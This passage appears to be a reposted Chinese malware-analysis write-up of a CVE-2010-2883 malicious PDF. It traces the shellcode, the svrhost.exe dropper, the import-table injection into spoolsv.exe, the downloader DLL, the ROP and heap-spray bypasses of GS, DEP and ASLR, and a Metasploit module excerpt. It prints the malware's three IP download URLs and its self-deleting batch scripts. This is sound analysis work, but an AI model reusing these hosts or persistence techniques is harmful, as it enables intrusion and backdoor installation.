“LODSB”(或“LODSW”)指令把由DS:SI指向的源串中的字节(或字)装入到AL(或AX)中,并根据DF自动修改指针SI,以指向下一个要装入的字节(或字)https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104958588-771900036.png
[*]获得函数名的一个字节后,在0x35E031B 处根据函数名的每个字符计算 hash,保存在 edi 中,该字符计算完跳回取下一个字符,累积计算函数名的 hash 值
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104959267-996095516.png
执行到0x035E0322 处,可以发现该函数 hash 值比对失败
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201104959897-1613340422.png
[*]在 0x35E0322 处下个条件断点,条件为 edi==
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105000490-1795568918.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105000966-1755584003.png
[*]F9 运行,命中断点时,查看 esi,可以看到第一个要获得的函数是 ExitThread 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105001481-304918922.png
[*]接下来在 0x35E0328-0x35E0339 处做了以下操作
1)先在导出表偏移 0x24 处获取 AddressOfNameOrdinals 的 RVA,RVA + 模块基地址得到 VA
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105002072-1194656229.png
2)通过输出序号数组获取 ExitThread 函数的序号,其中 ECX 为之前目标函数在 AddressOfNames 中的索引,此处AddressOfNames 中的数组索引与 AddressOfNameOrdinals 数组索引一一对应,AddressOfNameOrdinals 中数组元素为 AddressOfFunctions 中函数地址的序号
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105002656-1504791201.png
3)获取函数地址数组 AddressOfFunctions
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105003270-636069821.png
4)根据序号在函数地址数组中找到 ExitThread 函数的地址,保存在 eax 中,可以看到此时 eax 已经指向 ExitProcess 函数,猜测在实际中,ExitThread 函数即为 ExitProcess 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105003882-595009132.png
[*]找到函数地址后,在0x35E0064 处把函数地址保存在 0x35E0005 + ecx*4 - 0x4 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105004553-1264041591.png
[*]再次循环,加载另一个函数的 hash,其中 loopd 会对 ecx 减1,ecx 存放着还没完成解释的函数数目 ,如果 ecx 不等于0 则继续循环,如果等于0,则结束循环,在 0x35E0068 处添加一个条件断点,当 ecx 等于 1 时断下
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105005067-1870572238.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105005626-913539983.png
[*]中断时,已经完成所有函数的地址解析,查看数据窗口,已经解析了 12 个函数地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105006214-405643010.png
[*]接着调用 GetFileSize 函数,GetFileSize 函数会根据文件句柄获取该文件的大小,此处会一直遍历所有句柄并获取文件大小,比较是否大于 0x2000,如果大于则跳转到 0x35E008F
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105006801-427273667.png
[*]在 0x35E008F 处下个断点,F9 运行,断下来后,发现 esi 的 handler 是 268,eax 返回的大小是 0x1CAD74
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105007373-66769549.png
[*]点击 h 查看所有句柄,发现 268 刚好对应 a.pdf,所以恶意代码获取了样本 pdf 文件的大小
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105007954-2072098812.png
[*]接下来调用 SetFilePointer 函数,把文件指针指向文件偏移 0x1200 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105008611-765490657.png
[*]接着调用 ReadFile 函数,读取该位置的 0x8 字节到栈上 0x0C0C0CFC 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105009288-1083262765.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105009956-833458218.png
[*]比较该处的值是否是特定的值,和特殊值一样
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105010529-1940357549.png
[*]如果是特殊的值,可以确定是恶意文档本身,就调用 GlobalAlloc 函数,从堆中分配指定数量的字节,以 0 填充,该大小为样本 pdf 文件的大小 0x1CAD74
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105011136-1353993914.png
[*]分配后的地址是 0x25930020
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105011815-15401959.png
[*]接着调用 SetFilePointer 将文件指针指向文件开头从头开始
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105012447-1572685143.png
接着调用 ReadFile 把整个文档读取到内存中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105013120-1461243496.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105013717-1437610834.png
[*]读出来后,使用异或解密 PDF 中的一个 stream 流对象
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105014314-1637596726.png
解密后,可以看到 0x25931248 处是 ZM 字符,这似乎是 EXE 的文件头 MZ 交换后的字符
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105014906-2069248242.png
[*]调用 GetTempPathA 获得临时文件的路径,保存在 0x0C0C0BFC 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105015516-2015859871.png
[*]在 ZM 前面有个 svrhost.exe 字符串,获取该字符串并拼接在临时目录地址上
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105016278-1402979986.png
[*]创建 C:\DOCUME1\Owner\LOCALS1\Temp\svrhost.exe 文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105016945-1086794012.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105017572-738286894.png
[*]接着交换字节,使前 200 字节恢复成正常的 PE 文件格式
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105018257-1350409068.png
[*]调用 lwrite 函数把解密后的 PE 文件写进 svrhost.exe 中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105018968-1555384657.png
[*]调用 winexec 函数执行 svrhost.exe 文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105019501-1344927299.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105020094-791578101.png
[*]启动完svrhost.exe 后,回到样本文件中继续执行(我又重新调了一下,所以地址又变了,不影响),关于 svrhost.exe 的行为分析见第3部分
[*]样本调用 GetCommandLineA 函数获取运行 pdf 的命令行,这里会返回
“C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe” 但实际上是错误的,平时打开 pdf 后,GetCommandLineA 函数返回的应该是
“C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe” “C:\a.pdf”
这是由于我们是在 Adobe Reader 文件菜单里通过打开功能打开的文件,而不是双击文件来进行打开
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105020755-428577552.png
[*]修复 eax 指向处的字符串为正确的内容,双击内存窗口字符串最后的双引号,也就是 0x22 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105021323-2141674986.png
[*]在 ascii 字符串处个在双引号后面添加 空格+“C:\a.pdf” 。这就是为什么前面要重命名成简单的名字,在这里方便输入
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105021798-1744925491.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105022416-854725189.png
[*]接下来获取倒数第二个双引号的位置,目的是获取当前 pdf 文件的路径
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105023015-1175675740.png
[*]接着调用 GlobalAlloc 分配一个内存空间,分配大小为 1CAD74,即样本 PDF 文件的大小
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105023694-1441234308.png
[*]调用后返回的起始地址为:0x25C00020
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105024376-289705467.png
[*]把样本文件 0x3C65408 处的内容复制到内存 0x25C00020 处,长度为 ecx 的值 0x1AAF7E。可以看到 esi 处指向 0x25A45408 开始内容为 PDF 的头部。也就是说复制的内容是一个正常的 PDF 文件内容
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105025008-1884082467.png
[*]调用 lcreat 函数获取 C:\a.pdf 的句柄
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105025672-1299267724.png
[*]调用 lwrite 函数重写文件
0x25A45408 距离样本 pdf 文件的开始地址 0x25A30020 处的距离为 0x153E8 字节,所以该操作把样本文件偏移 0x153E8 后面的正常PDF内容覆盖整个样本文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105026335-1215972045.png
整个恶意 PDF 文件的结构大致如下:
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105026875-1142747856.png
[*]覆盖上正常的内容后,拼接一条 cmd 命令:cmd.exe /c “C:\a.pdf”
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105027436-2109979545.png
[*]然后运行该命令打开正常的 PDF 文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105028075-227876100.png
[*]然后退出进程
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105028779-712529424.png
[*]再次打开 a.pdf 文件,已经是正常内容
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105029638-380967223.png
3. svrhost.exe行为分析

​        把 svrhost.exe 复制出来,用 ida 打开使用 F5 反编译进行分析,同时使用 ollydbg 加载运行 svrhost.exe 和 ida 结合分析

[*]在 49 行处组装了一个命令行并执行,创建了一个 hid128.log 文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105030379-1350423012.png
[*]在 63 行处关闭文件保护,跟进去查看
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105030998-1683665406.png
1)首先启用 SeDebugPrivilege 权限,从而可以打开其它进程句柄
​        elvatePrivilege 函数是一个典型的提升权限功能,获取 SeDebugPrivilege 权限并设置 SE_PRIVILEGE_ENABLED 属性来开启权限
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105031657-1479700945.png
2)获取权限后,在 29 行处加载 sfc_os.dll
3)在 34 行处获取 dll 中的 SfcTerminateWatcherThread 函数的地址,该函数用于关闭文件保护
4)在 36 行处获得 winlogon.exe 的进程句柄
5)最后在 37 行处使用 winlogon.exe 的 SYSTEM 权限来远程执行 SfcTerminateWatcherThread 函数,从而关闭文件保护
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105032277-1896201024.png
[*]decodeUrl 函数解密 3 个 url 地址
http://203.45.50.118/monitor/images/mmc_vti0915.gif
http://203.45.80.96/monitor/images/mmc_vti0915.gif
http://61.222.31.83/monitor/images/mmc_vti0915.gif
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105032853-676182323.png
进入该函数查看:
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105033494-1375066068.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105034009-1238568325.png
[*]调用一个函数,把 spooler 字符串传进这个函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105034728-1852346430.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105035354-94761656.png
跟进该函数
1)先创建了 C:\DOCUME1\ADMINI1\LOCALS~1\Temp_unstop.bat
​        内容为:
net stop "Spooler"
net stop "Spooler"
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstop.bat"​        作用是关闭 Spooler 服务,然后删除自身
2)创建 .bat 文件后调用 ShellExecuteA 函数运行该脚本
3)创建后调用 ShellExecuteA 函数运行该脚本
4)运行脚本前,用 msinfo32 查看正在运行的服务,发现打印服务 Spooler 正在运行
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105035991-113211089.png
5)运行后 Spooler 服务已经停止
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105036583-420426414.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105037272-1079248985.png
[*]停止打印服务后,先判断 C:\WINDOWS\system32\Setup\msxm32.dll 文件是否存在
如果不存在,会备份 C:\WINDOWS\system32\spoolsv.exe 打印程序到 C:\WINDOWS\system32\Setup\fxjssocm.exe ,然后再复制一份到 C:\WINDOWS\system32\spooler.exe,接着在 131 行处调用函数修改 spoolsv.exe 的导入表
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105037899-970903735.png
跟进修改导入表的函数查看并调试,可以确定它的具体功能:
1)将 spoolsv.exe 映射到内存中,在 94 行处判断文件是否以 MZ 字符开头,以及是否存在 PE 头,从而确定该文件是一个可执行文件
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105038544-515963523.png
2)接下来会进入一个循环,遍历所有区块,把区块设置成可读可写,然后获取了数据目录表第二个成员,也就是导入表的相对虚拟地址,在 118 行处通过 RVA 计算出导入表在文件中的偏移地址
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105039232-1188658157.png
3)找到导入表文件偏移地址,把 IMAGE_IMPORT_DESCRIPTOR(IID) 数组复制到一个新的地址,并计算新导入表的文件偏移。IID 保存着该 PE 文件引用了哪些 DLL 的哪些函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105039923-508329302.png
4)在新的导入表中创建一个新的 IID ,目的是给 spoolsv.exe 引用 msxml0r.dll 中的 EntryPoint 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105040600-273377755.png
5)进行后续的修改
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105041341-1064930547.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105041997-709934805.png
[*]修改完 spoolsv.exe 后,在 140 行处把 spoolss.dll 的文件时间复制给 spoolsv.exe ,增加隐蔽性
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105042598-1231964895.png
[*]接着在 142 行处调用函数,修改了 spooler 服务的启动类型为自动启动
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105043189-21139819.png
函数解析:
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105043909-201632863.png
[*]接下来把 msxml0r.dll 字符串和,0x40B148 的地址传进函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105044474-2051130103.png
查看 0x40B148 处的内容,有很多 0x90 数据,明显是原始数据经过 0x90 异或加密后的数据:
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105045029-1891488713.png
该函数解析如下:
1)把 0x40B148 处的数据写进 C:\WINDOWS\system32\msxml0r.dll
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105045615-1500489164.png
2)调用 decodeMsxml0rDll 进行解密
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105046147-125432772.png
[*]解密后会把 3 个 URL 写进 dll 文件中,这3个 URL 估计是后续要下载的后门程序
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105046729-1049996654.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105047335-28085450.png
[*]修改完 msxml0r.dll 后,再次修改文件时间
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105047899-244950529.png
[*]在 163 行处调用函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105048383-1048630524.png
跟进函数,该函数生成 C:\DOCUME1\ADMINI1\LOCALS~1\Temp_unstart.bat,然后运行 msxml0r.dll
内容为:
net start "Spooler"
net start "Spooler"
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_unstart.bat"作用是启动打印服务,然后删除自身
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105049032-1035869605.png
[*]在启动 spooler 服务来启动 msxml0r.dll (作用为下载或更新后门程序到计划任务中,然后定时执行,具体分析过程见第4部分)后,会调用一个函数来删除自身
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105049613-1958352945.png
genUninsepBatAndRun 内部实现:生成一个 C:\DOCUME1\ADMINI1\LOCALS~1\Temp_uninsep.bat 文件并运行,bat 文件内容如下:
:Repeat
del "C:\Documents and Settings\Administrator\Local Settings\Temp\svrhost.exe"
if exist "C:\Documents and Settings\Administrator\Local Settings\Temp\svrhost.exe"
goto Repeat
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_uninsep.bat"https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105050374-970192490.png
4. msxml0r.dll 分析

分析过程

[*]把 msxml0r.dll 复制出来,使用 ida 打开,发现加了壳,全是一些混乱的代码和数据
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105051071-1505688893.png
[*]使用 PEID 识别,该 dll 使用了 PeCompact 加壳
PEID下载链接:原名:吾爱破解抢鲜版] - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105051722-284586684.png
[*]使用 ollydbg 加载该 DLL,然后调试进行脱壳
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105052338-1736262259.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105053072-1071738175.png
[*]DLL 脱壳后,会再次进入入口点执行,先在入口点 0x100023D2 处下一个硬件断点,以免软件断点插入的代码影响脱壳,脱壳后再次进入入口点执行时,会中断
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105053734-2056296118.png
[*]断在入口点 OEP 后使用 ollydump 插件进行脱壳
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105054372-1883607739.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105055110-427013683.png
[*]继续单步执行,再次中断时,已经是脱壳后的正常代码,使用 ctrl+a 重新分析代码
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105055617-521341733.png
[*]此时已经到达脱壳后的入口点,在此处再使用 ollydump 插件进行脱壳,保存后的 dll 文件才是真正的脱壳文件
[*]使用 ida 打开脱壳后的 dll 文件进行分析。在 DllMain 函数中创建了一个线程,运行了 sub_10001870 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105056109-1131374916.png
[*]接下来使用 od 和 ida 组合一起分析该函数的行为
1)在 0x10001870 处 下一个断点,然后关闭 ollydbg stongod 插件的 Skip some Exceptions 选项
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105057072-1948388895.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105057688-2011538770.png
2)点击 F9 运行,第一次中断在 0x10001000 处,继续 F9运行,会成功中断在 0x10001870 处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105058273-1849833533.png
3)使用 od 和 ida 组合一起分析该 dll 的行为,在 101 行处通过循环判断3个 exe 文件是否存在计划任务目录中,如果存在,则运行
这3个 exe 文件为后续从网上下载的 exe
C:\WINDOWS\Tasks\svchost.exe
C:\WINDOWS\Tasks\wuauclt.exe
C:\WINDOWS\Tasks\userinit.exehttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105058836-878977241.png
4)删除 C:\WINDOWS\system32\msxml0.dll 文件,该文件来历不明,估计是后续下载的恶意文件生成的。然后解密了3个 url
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105059475-712930779.png
3)判断是否存在 explorer 进程,如果存在则模拟 explorer 进程的权限运行 downloadpayload 函数
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105100026-1794784443.png

4)downloadPayload 函数地址为 0x100017A0, 在此处下一个断点,F9 运行到此处
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105100628-51356567.png
​        ① 首先会删除计划任务中的3个程序
C:\WINDOWS\Tasks\svchost.exe
C:\WINDOWS\Tasks\wuauclt.exe
C:\WINDOWS\Tasks\userinit.exehttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105101406-80826014.png
​        ② 接着调用 downloadPayloadToExe 函数重新下载 3 个 exe 文件,传入的两个参数分别为
http://203.45.50.118/monitor/images/mmc_vti0915.gif
C:\WINDOWS\Tasks\svchost.exehttps://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105102237-359533699.png
​        跟进 downloadPayloadToExe 函数, 由于 url 内容已经失效,只能在 ida 查看下功能,发现该函数会把 url 返回的内容写进 exe 文件中
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105102855-1002171314.png
https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105103751-193941985.png
恶意 Dll 总结
​        下载或更新后门程序到计划任务中,然后定时执行
6.3 ROP 链的流程总结


[*]调整栈顶到可以控制的区域,也就是溢出的位置。
[*]切换栈顶到 0x0c0c0c0c0c,通过堆喷在此位置构造好了栈数据和恶意代码。
[*]调用 CreateFileA 函数,创建 iso88591 文件。
[*]调用 CreateFileMappingA 函数,创建内存映射对象。
[*]调用 MapViewOfFile 函数,返回该文件在内存中映射的地址。这三步的目的是在内存中创建一块具有执行权限的内存块。
[*]调用 memcpy 函数,把恶意代码复制到可执行内存中。
[*]跳转到可执行内存中执行恶意代码。
6.4 样本对于GS、DEP 、ROP 和 ASLR的处理

6.4.1 GS 保护

​        在编译时可以选择是否开启GS安全编译选项。这个操作会给每个函数增加一些额外的数据和操作,用于检测栈溢出。在函数开始时,会在返回地址和EBP之前压入一个额外的Security Cookie。在函数返回时,系统会比较栈中的这个值和原先存放在.data中的值做一个比较。如果两者不相等,则说明栈中发生了溢出。因为溢出时会覆盖返回地址,而 security cookie 位于返回地址前,所以覆盖返回地址的方法不可行了。
处理:该漏洞利用时,会选择覆盖栈上的一个函数指针,然后在调用该函数时跳转到 shellcode 执行
6.4.2 DEP(Data Execution Prevention)

​        数据执行保护,是 windows 防止溢出利用的系统保护机制,系统会标记哪些内存地址可以执行代码,在开启 DEP 后,栈处的内存会被标记为不可执行,因此,除非有办法修改内存的属性,否则不可以在溢出时把 shellcode 布置在栈来运行。支持 DEP 的程序,会把 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标志设为 1
处理:DEP 通过 ROP 来绕过
6.4.3 ROP(Return Oriented Programming)

​        用来绕过 DEP 保护的技术,既然栈上的内存不可执行,那么可以通过执行程序自身的代码来达到目的,把一连串的代码片段组合起来,执行一个片段返回,再执行另一个片段,从而实现某种功能。
​        0x4A80CB38 处的代码的功能就是调整栈顶,先添加 ebp 的值,然后把 ebp 的值赋值给 esp ,从而实现把栈地址往高地址调整的目的,然后通过 return 重新获取控制权。要实现这个功能的时候,都可以跳转到这里执行,然后返回
6.4.4 ASLR(Address Space Layout Randomization)

​        地址空间随机化,在加载程序的时候不再使用固定的基址加载,支持ASLR的程序在其PE头中会设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识来说明其支持 ASLR
​        溢出时,为什么选择 icucnv36.dll 的内存地址呢?是因为 Adobe Reader 大部分库都开启了 ASLR,包括 CoolType.dll ,而 icucnv36.dll 没有开启
​        例如,如果 icucnv36.dll 开启了 ASLR,那么同一个代码的地址,可能是 0x4A80CB38,也可能是 0x5A80CB38。由于无法知道准确的地址,所以也就无法跳转到想要执行的代码
处理:ASLR 通过堆喷和未启用 ASLR 的模块来绕过
6.4.5 查找 Adobe Reader 中所有没开启 ASLR 或 DEP 的库

使用 pefinder 查找 Adobe Reader 中所有没开启 ASLR 或 DEP 的库
pefinder 下载链接:http://www.scriptjunkie.us/files/pefinder.zip
输入命令:
dir /b /w /s "C:\Program Files\Adobe\*.dll" | pefinder.exe -https://img2024.cnblogs.com/blog/2821374/202402/2821374-20240201105104546-753596591.png
6.5 漏洞利用样本流程总结


[*]获取 SING 表的入口地址
[*]通过 strcat 函数将 uniqueName 和 ebp进行拼接造成栈溢出。
[*]通过覆盖栈上的一个函数指针为 0x4A80CB28,并在后续调用该指针来绕过 GS 保护。将返回地址覆盖为 0x4A82A714
[*]调用该指针后,跳回到构造的返回地址 0x4A82A714,修改 esp 为 0x0C0C0C0C
[*]通过 heap spray 技术在内存中布置 shellcode。heap spray 的 javascript 脚本使用随机变量名、\x25 代替 % 号、添加无用代码等方式绕过杀毒软件分析。
[*]通过未开启 ASLR 的模块来绕过 ASLR ,从而运行 ROP 链。
[*]通过 ROP 链来绕过 DEP 保护。(执行 CreateFileA,CreateFileMappingA,MapViewOfFile 将文件映射到一块可读可写可执行的内存空间,执行 memcpy 将 shellcode 写到 MapViewOfFile 返回的地址)
以下为执行 shellcode 的部分

[*]通过 PEB 获取 kernel32.dll 的基址,从而获取需要运行的函数地址。
[*]使用异或和交换字符的方式对恶意 PE 文件进行加密。
[*]释放并运行 svchost.exe 恶意文件,其文件名和系统进程名一致,增加了隐蔽性。
[*]提升权限以便进行后续操作。
[*]关闭系统文件保护,以便修改系统文件。
[*]修改打印服务程序 spoolsv.exe 的导入表,使其在启动时加载恶意 dll 文件。导入表注入
[*]修改文件时间,以增加隐蔽性。
[*]释放加密后的 msxml0r.dll ,然后对 msxml0r.dll 进行解密。同时 msxml0r.dll 名字和系统现有的文件名十分相似,增加了隐蔽性。
[*]运行完程序后,没用的程序则删除自身,防止被发现。
[*]使用加壳技术阻止逆向分析恶意程序。
[*]通过远程下载,把恶意程序下载到计划任务文件夹来实现自动运行,并且具有更新功能。
[*]修改恶意样本 PDF 文件为正常 PDF 文件并打开,制造一种打开正常 PDF 文件的假象防止被发现
7.Exploit 脚本分析

7.1 exploit()

​        Exploit脚本位置在 D:\metasploit-framework\embedded\framework\modules\exploits\windows\fileformat\adobe_cooltype_sing.rb,其主函数为exploit,内容如下:
def exploit
    ttf_data = make_ttf() # 构造ttf字体数据,SING表内容就在其中

    js_data = make_js(payload.encoded) # 构建Heap Spary js代码,ROP Chain及Payload就包含在里面

    # Create the pdf
    pdf = make_pdf(ttf_data, js_data) # 构造pdf文件数据,将前面构造好的ttf字体数据和js代码放入其中

    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(pdf) # 创建pdf文件
end7.2 make_ttf()

<ol>此函数首先打开了一个正常的 ttf 模板文件,然后构造了 SING 表数据,可见 tableVersionMajor 被设为了0

uniqueName字段先是被初始化成了随机字符sing
页: [1]
查看完整版本: CVE-2010-2883漏洞